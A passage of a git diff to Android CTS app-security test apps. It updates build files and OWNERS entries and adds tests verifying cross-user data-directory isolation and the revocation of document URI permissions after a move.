index e9df6a5..3786e75 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsApkVerityTestApp",
     manifest: "AndroidManifest.xml",
@@ -37,6 +33,11 @@
     use_embedded_native_libs: true,
     sdk_version: "current",
     certificate: ":cts-testkey1",
+    dist: {
+        targets: [
+            "cts",
+        ],
+    },
 }
 
 android_test_helper_app {
@@ -52,6 +53,11 @@
     },
     sdk_version: "current",
     certificate: ":cts-testkey1",
+    dist: {
+        targets: [
+            "cts",
+        ],
+    },
 }
 
 cc_library_shared {
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/OWNERS b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/OWNERS
new file mode 100644
index 0000000..5a88bff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+victorhsieh@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
index f5688c7..9dda405 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
@@ -13,16 +13,6 @@
 // limitations under the License.
 
 // A rule to collect apps for debugging purpose. See ApkVerityTestAppPrebuilt/README.md.
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
-}
-
 genrule {
     name: "CtsApkVerityTestDebugFiles",
     srcs: [
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
index 575d94e..cf37807 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
@@ -15,16 +15,6 @@
 // Prebuilts that are signed with corresponding key of
 // build/make/target/product/security/fsverity-release.x509.der
 
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-NCSA
-    default_applicable_licenses: ["cts_license"],
-}
-
 filegroup {
     name: "CtsApkVerityTestPrebuiltFiles",
     srcs: [
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/OWNERS b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/OWNERS
new file mode 100644
index 0000000..5a88bff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+victorhsieh@google.com
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp
index 32fabc6..0c4702f 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppAccessData",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/OWNERS b/hostsidetests/appsecurity/test-apps/AppAccessData/OWNERS
new file mode 100644
index 0000000..a29e20e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 315013
+alanstokes@google.com
+nandana@google.com
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
index a9eb884..8a6e06b 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppDataIsolationAppA",
     defaults: ["cts_support_defaults"],
@@ -74,11 +70,30 @@
 }
 
 android_test_helper_app {
+    name: "CtsAppDataIsolationAppApi29A",
+    defaults: ["cts_support_defaults"],
+    srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
+    sdk_version: "test_current",
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
+    libs: ["android.test.base"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+    dex_preopt: {
+        enabled: false,
+    },
+    manifest: "AppA/AndroidManifest_api29.xml",
+}
+
+android_test_helper_app {
     name: "CtsAppDataIsolationAppB",
     defaults: ["cts_support_defaults"],
     srcs: ["common/src/**/*.java", "AppB/src/**/*.java"],
     sdk_version: "test_current",
-    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "compatibility-device-util-axt"],
+    static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
     test_suites: [
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest_api29.xml b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest_api29.xml
new file mode 100644
index 0000000..15c3ce1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest_api29.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+       package="com.android.cts.appdataisolation.appa">
+
+    <uses-sdk android:targetSdkVersion="29" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <service android:name=".IsolatedService"
+                 android:process=":Isolated"
+                 android:isolatedProcess="true"/>
+        <service android:name=".AppZygoteIsolatedService"
+                 android:process=":Isolated2"
+                 android:isolatedProcess="true"
+                 android:useAppZygote="true"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.appdataisolation.appa"
+                     android:label="Test app data isolation."/>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
index c25d3d9..90bffe8 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
@@ -16,10 +16,12 @@
 
 package com.android.cts.appdataisolation.appa;
 
+import static com.android.cts.appdataisolation.common.FileUtils.APPA_PKG;
 import static com.android.cts.appdataisolation.common.FileUtils.APPB_PKG;
 import static com.android.cts.appdataisolation.common.FileUtils.CE_DATA_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.DE_DATA_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.EXTERNAL_DATA_FILE_NAME;
+import static com.android.cts.appdataisolation.common.FileUtils.NOT_INSTALLED_PKG;
 import static com.android.cts.appdataisolation.common.FileUtils.OBB_FILE_NAME;
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirDoesNotExist;
 import static com.android.cts.appdataisolation.common.FileUtils.assertDirIsAccessible;
@@ -39,13 +41,17 @@
 import android.content.IntentFilter;
 import android.content.ServiceConnection;
 import android.content.pm.ApplicationInfo;
+import android.os.Build;
+import android.os.Bundle;
 import android.os.IBinder;
+import android.os.SystemProperties;
 import android.support.test.uiautomator.UiDevice;
 import android.view.KeyEvent;
 
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.PropertyUtil;
 import com.android.cts.appdataisolation.common.FileUtils;
 
 import org.junit.Before;
@@ -287,4 +293,59 @@
             mContext.unbindService(mServiceConnection);
         }
     }
+
+    @Test
+    public void testOtherUserDirsNotPresent() throws Exception {
+        final Bundle arguments = InstrumentationRegistry.getArguments();
+        final int otherUserId = Integer.parseInt(arguments.getString("other_user_id"));
+
+        final String ceDataRoot = "/data/user/" + otherUserId;
+        final String deDataRoot = "/data/user_de/" + otherUserId;
+        final String profileRoot = "/data/misc/profiles/cur/" + otherUserId;
+
+        assertDirDoesNotExist(ceDataRoot);
+        assertDirDoesNotExist(deDataRoot);
+        assertDirDoesNotExist(profileRoot);
+    }
+
+    @Test
+    public void testOtherUserDirsNotAccessible() throws Exception {
+        final Bundle arguments = InstrumentationRegistry.getArguments();
+        final int otherUserId = Integer.parseInt(arguments.getString("other_user_id"));
+
+        final String ceDataRoot = "/data/user/" + otherUserId;
+        final String deDataRoot = "/data/user_de/" + otherUserId;
+        final String profileRoot = "/data/misc/profiles/cur/" + otherUserId;
+
+        // APPA (this app) is installed in this user but not the other one.
+        // APPB is installed in this user and the other one.
+        // NOT_INSTALLED_PKG isn't installed anywhere.
+        // We must get the same answer for all of them, so we can't infer if any of them are or
+        // are not installed in the other user.
+        assertDirIsNotAccessible(ceDataRoot);
+        assertDirIsNotAccessible(ceDataRoot + "/" + APPA_PKG);
+        assertDirIsNotAccessible(ceDataRoot + "/" + APPB_PKG);
+        assertDirIsNotAccessible(ceDataRoot + "/" + NOT_INSTALLED_PKG);
+
+        assertDirIsNotAccessible(deDataRoot);
+        assertDirIsNotAccessible(deDataRoot + "/" + APPA_PKG);
+        assertDirIsNotAccessible(deDataRoot + "/" + APPB_PKG);
+        assertDirIsNotAccessible(deDataRoot + "/" + NOT_INSTALLED_PKG);
+
+        // If the vendor policy is pre-R then backward compatibility rules apply.
+        if (isVendorPolicyNewerThanR()) {
+            assertDirIsNotAccessible(profileRoot);
+            assertDirIsNotAccessible(profileRoot + "/" + APPA_PKG);
+            assertDirIsNotAccessible(profileRoot + "/" + APPB_PKG);
+            assertDirIsNotAccessible(profileRoot + "/" + NOT_INSTALLED_PKG);
+        }
+    }
+
+    private boolean isVendorPolicyNewerThanR() {
+        if (SystemProperties.get("ro.vndk.version").equals("S")) {
+            // Vendor build is S, but before the API level bump - good enough for us.
+            return true;
+        }
+        return PropertyUtil.isVendorApiLevelNewerThan(Build.VERSION_CODES.R);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
index d209a42..0ecb443 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/IsolatedService.java
@@ -36,14 +36,17 @@
         public void assertDataIsolated() throws RemoteException {
             try {
                 ApplicationInfo applicationInfo = getApplicationInfo();
+
+                assertDirIsNotAccessible("/data/misc/profiles/ref");
+
                 assertDirDoesNotExist(applicationInfo.dataDir);
                 assertDirDoesNotExist(applicationInfo.deviceProtectedDataDir);
                 assertDirDoesNotExist("/data/data/" + getPackageName());
 
                 int currentUserId = getCurrentUserId();
+
                 assertDirDoesNotExist("/data/misc/profiles/cur/" + currentUserId + "/"
                         + getPackageName());
-                assertDirIsNotAccessible("/data/misc/profiles/ref");
 
                 assertDirDoesNotExist(FileUtils.replacePackageAWithPackageB(
                         applicationInfo.dataDir));
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
index 4cb158e..15450f9 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
@@ -59,6 +59,8 @@
         });
         assertThat(exception.getMessage()).contains(JAVA_FILE_PERMISSION_DENIED_MSG);
         assertThat(exception.getMessage()).doesNotContain(JAVA_FILE_NOT_FOUND_MSG);
+
+        assertThat(new File(path).canExecute()).isFalse();
     }
 
     public static void assertDirDoesNotExist(String path) {
@@ -85,6 +87,8 @@
         } catch (ErrnoException e) {
             assertEquals(e.errno, OsConstants.EACCES, "Error on path: " + path);
         }
+
+        assertThat(directory.exists()).isFalse();
     }
 
     public static void assertDirIsAccessible(String path) {
@@ -92,6 +96,8 @@
         // if app has search permission to that directory, it should return file not found
         // and not security exception.
         assertFileDoesNotExist(path, "FILE_DOES_NOT_EXIST");
+
+        assertThat(new File(path).canExecute()).isTrue();
     }
 
     public static void assertFileIsAccessible(String path) {
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp b/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp
index 53931f9..eb95cc3 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppWithData",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp
index 61a66c0..2848e19 100644
--- a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsApplicationVisibilityCrossUserApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp
index 5faab76..3b93cbb 100644
--- a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "AuthBoundKeyApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/AndroidManifest.xml
index 05676a8..6056e70 100644
--- a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/AndroidManifest.xml
@@ -15,21 +15,23 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.authboundkeyapp">
+     package="com.android.cts.authboundkeyapp">
 
-    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="27" />
+    <uses-sdk android:minSdkVersion="21"
+         android:targetSdkVersion="27"/>
 
     <application android:label="AuthBoundKeyApp">
-        <activity android:name=".BaseActivity">
+        <activity android:name=".BaseActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.authboundkeyapp" />
+         android:targetPackage="com.android.cts.authboundkeyapp"/>
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.bp b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.bp
index eb5bd74..ae31730 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_import {
     name: "CtsCorruptApkTests_b71360999",
     apk: "b71360999.apk",
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
index 08a7c49..6fe5191 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_import {
     name: "CtsCorruptApkTests_Compressed_Q",
     apk: "compressed_Q.apk",
@@ -56,4 +52,4 @@
         "cts",
         "general-tests",
     ]
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
index 85d6f86..4cbd602 100644
--- a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsDeclareNonRuntimePermissions",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/Android.bp b/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/Android.bp
index 6eac9b6..a7b5ec0 100644
--- a/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAccessDeviceIdentifiers",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
index 64b78b7..6834791 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDocumentClient",
     defaults: ["cts_support_defaults"],
@@ -38,6 +34,7 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index 4f9850a..1a2a593 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -16,13 +16,20 @@
 
 package com.android.cts.documentclient;
 
+import static android.content.Intent.FLAG_GRANT_READ_URI_PERMISSION;
+import static android.content.Intent.FLAG_GRANT_WRITE_URI_PERMISSION;
+
 import android.app.Activity;
 import android.content.ContentResolver;
+import android.content.Context;
 import android.content.Intent;
 import android.content.IntentSender;
+import android.content.pm.PackageManager;
 import android.database.Cursor;
+import android.graphics.Rect;
 import android.net.Uri;
 import android.os.Bundle;
+import android.os.Environment;
 import android.os.SystemClock;
 import android.provider.DocumentsContract;
 import android.provider.DocumentsContract.Document;
@@ -37,8 +44,12 @@
 import android.text.TextUtils;
 import android.util.Log;
 
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
 import com.android.cts.documentclient.MyActivity.Result;
 
+import java.io.File;
 import java.util.List;
 
 /**
@@ -47,6 +58,19 @@
  */
 public class DocumentsClientTest extends DocumentsClientTestCase {
     private static final String TAG = "DocumentsClientTest";
+    private static final String DOWNLOAD_PATH =
+            Environment.getExternalStorageDirectory().getAbsolutePath() + File.separatorChar
+                    + Environment.DIRECTORY_DOWNLOADS;
+    private static final String TEST_DESTINATION_DIRECTORY_NAME = "TEST_PERMISSION_DESTINATION";
+    private static final String TEST_DESTINATION_DIRECTORY_PATH =
+            DOWNLOAD_PATH + File.separatorChar + TEST_DESTINATION_DIRECTORY_NAME;
+    private static final String TEST_SOURCE_DIRECTORY_NAME = "TEST_PERMISSION_SOURCE";
+    private static final String TEST_SOURCE_DIRECTORY_PATH =
+            DOWNLOAD_PATH + File.separatorChar + TEST_SOURCE_DIRECTORY_NAME;
+    private static final String TEST_TARGET_DIRECTORY_NAME = "TEST_TARGET";
+    private static final String TEST_TARGET_DIRECTORY_PATH =
+            TEST_SOURCE_DIRECTORY_PATH + File.separatorChar + TEST_TARGET_DIRECTORY_NAME;
+    private static final String STORAGE_AUTHORITY = "com.android.externalstorage.documents";
 
     private UiSelector findRootListSelector() throws UiObjectNotFoundException {
         return new UiSelector().resourceId(
@@ -100,9 +124,7 @@
     }
 
     private UiObject findDocument(String label) throws UiObjectNotFoundException {
-        final UiSelector docList = new UiSelector().resourceId(
-                getDocumentsUiPackageId() + ":id/container_directory").childSelector(
-                new UiSelector().resourceId(getDocumentsUiPackageId() + ":id/dir_list"));
+        final UiSelector docList = new UiSelector().resourceId(getDocumentsUiPackageId() + ":id/dir_list");
 
         // Wait for the first list item to appear
         assertTrue("First list item",
@@ -117,9 +139,28 @@
             //do nothing, already be in list mode.
         }
 
-        // Now scroll around to find our item
-        new UiScrollable(docList).scrollIntoView(new UiSelector().text(label));
-        return new UiObject(docList.childSelector(new UiSelector().text(label)));
+        // Repeat swipe gesture to find our item
+        // (UiScrollable#scrollIntoView does not seem to work well with SwipeRefreshLayout)
+        UiObject targetObject = new UiObject(docList.childSelector(new UiSelector().text(label)));
+        UiObject saveButton = findSaveButton();
+        int stepLimit = 10;
+        while (stepLimit-- > 0) {
+            if (targetObject.exists()) {
+                boolean targetObjectFullyVisible = !saveButton.exists()
+                        || targetObject.getVisibleBounds().bottom
+                        <= saveButton.getVisibleBounds().top;
+                if (targetObjectFullyVisible) {
+                    break;
+                }
+            }
+
+            mDevice.swipe(/* startX= */ mDevice.getDisplayWidth() / 2,
+                    /* startY= */ mDevice.getDisplayHeight() / 2,
+                    /* endX= */ mDevice.getDisplayWidth() / 2,
+                    /* endY= */ 0,
+                    /* steps= */ 40);
+        }
+        return targetObject;
     }
 
     private UiObject findSaveButton() throws UiObjectNotFoundException {
@@ -140,6 +181,25 @@
         assertTrue(title.waitForExists(TIMEOUT));
     }
 
+    private String getDeviceName() {
+        final String deviceName = Settings.Global.getString(
+                mActivity.getContentResolver(), Settings.Global.DEVICE_NAME);
+        // Device name should always be set. In case it isn't, fall back to "Internal Storage"
+        return !TextUtils.isEmpty(deviceName) ? deviceName : "Internal Storage";
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        deleteTestDirectory();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        deleteTestDirectory();
+    }
+
     public void testOpenSimple() throws Exception {
         if (!supportedHardware()) return;
 
@@ -371,6 +431,16 @@
         // save button is disabled for the storage root
         assertFalse(findSaveButton().isEnabled());
 
+        // We should always have Android directory available
+        findDocument("Android").click();
+        mDevice.waitForIdle();
+
+        // save button is disabled for Android folder
+        assertFalse(findSaveButton().isEnabled());
+
+        findRoot(getDeviceName()).click();
+        mDevice.waitForIdle();
+
         try {
             findDocument("Download").click();
             mDevice.waitForIdle();
@@ -409,6 +479,16 @@
         // save button is enabled for for the storage root
         assertTrue(findSaveButton().isEnabled());
 
+        // We should always have Android directory available
+        findDocument("Android").click();
+        mDevice.waitForIdle();
+
+        // save button is enabled for Android folder
+        assertTrue(findSaveButton().isEnabled());
+
+        findRoot(getDeviceName()).click();
+        mDevice.waitForIdle();
+
         try {
             findDocument("Download").click();
             mDevice.waitForIdle();
@@ -710,15 +790,8 @@
         mActivity.startActivityForResult(intent, REQUEST_CODE);
         mDevice.waitForIdle();
 
-        final String deviceName = Settings.Global.getString(
-                mActivity.getContentResolver(), Settings.Global.DEVICE_NAME);
-
-        // Device name should always be set. In case it isn't, though,
-        // fall back to "Internal Storage".
-        final String title = !TextUtils.isEmpty(deviceName) ? deviceName : "Internal Storage";
-
         // assert the default root is internal storage root
-        assertToolbarTitleEquals(title);
+        assertToolbarTitleEquals(getDeviceName());
 
         // no Downloads root
         assertFalse(findRoot("Downloads").exists());
@@ -823,4 +896,75 @@
             // expected
         }
     }
+
+    public void testAfterMoveDocumentInStorage_revokeUriPermission() throws Exception {
+        if (!supportedHardware()) return;
+
+        final Context context = getInstrumentation().getContext();
+        final Uri initUri = DocumentsContract.buildDocumentUri(STORAGE_AUTHORITY,
+                "primary:" + Environment.DIRECTORY_DOWNLOADS);
+
+        // create the source directory
+        final Uri sourceUri = assertCreateDocumentSuccess(initUri, TEST_SOURCE_DIRECTORY_NAME,
+                Document.MIME_TYPE_DIR);
+
+        // create the target directory
+        final Uri targetUri = assertCreateDocumentSuccess(sourceUri, TEST_TARGET_DIRECTORY_NAME,
+                Document.MIME_TYPE_DIR);
+        final int permissionFlag = FLAG_GRANT_READ_URI_PERMISSION | FLAG_GRANT_WRITE_URI_PERMISSION;
+
+        // check permission for the target uri
+        assertEquals(PackageManager.PERMISSION_GRANTED,
+                context.checkCallingOrSelfUriPermission(targetUri, permissionFlag));
+
+        // create the destination directory
+        final Uri destinationUri = assertCreateDocumentSuccess(initUri,
+                TEST_DESTINATION_DIRECTORY_NAME, Document.MIME_TYPE_DIR);
+
+        final ContentResolver resolver = context.getContentResolver();
+        final Uri movedFileUri = DocumentsContract.moveDocument(resolver, targetUri, sourceUri,
+                destinationUri);
+        assertTrue(movedFileUri != null);
+
+        // after moving the document,  the permission of targetUri is revoked
+        assertEquals(PackageManager.PERMISSION_DENIED,
+                context.checkCallingOrSelfUriPermission(targetUri, permissionFlag));
+
+        // create the target directory again, it still has no permission for targetUri
+        executeShellCommand("mkdir " + TEST_TARGET_DIRECTORY_PATH);
+
+        assertEquals(PackageManager.PERMISSION_DENIED,
+                context.checkCallingOrSelfUriPermission(targetUri, permissionFlag));
+    }
+
+    private Uri assertCreateDocumentSuccess(@Nullable Uri initUri, @NonNull String displayName,
+            @NonNull String mimeType) throws Exception {
+        // Clear DocsUI's storage to avoid it opening stored last location.
+        clearDocumentsUi();
+
+        // create document
+        final Intent createIntent = new Intent(Intent.ACTION_CREATE_DOCUMENT);
+        createIntent.addCategory(Intent.CATEGORY_OPENABLE);
+        createIntent.putExtra(Intent.EXTRA_TITLE, displayName);
+        createIntent.setType(mimeType);
+        if (initUri != null) {
+            createIntent.putExtra(DocumentsContract.EXTRA_INITIAL_URI, initUri);
+        }
+        mActivity.startActivityForResult(createIntent, REQUEST_CODE);
+
+        mDevice.waitForIdle();
+        findSaveButton().click();
+
+        // check result
+        final Uri uri = mActivity.getResult().data.getData();
+        assertEquals(displayName, getColumn(uri, Document.COLUMN_DISPLAY_NAME));
+        assertEquals(mimeType, getColumn(uri, Document.COLUMN_MIME_TYPE));
+
+        return uri;
+    }
+
+    private void deleteTestDirectory() throws Exception{
+        executeShellCommand("rm -rf " + TEST_DESTINATION_DIRECTORY_PATH);
+        executeShellCommand("rm -rf " + TEST_SOURCE_DIRECTORY_PATH);
+    }
 }
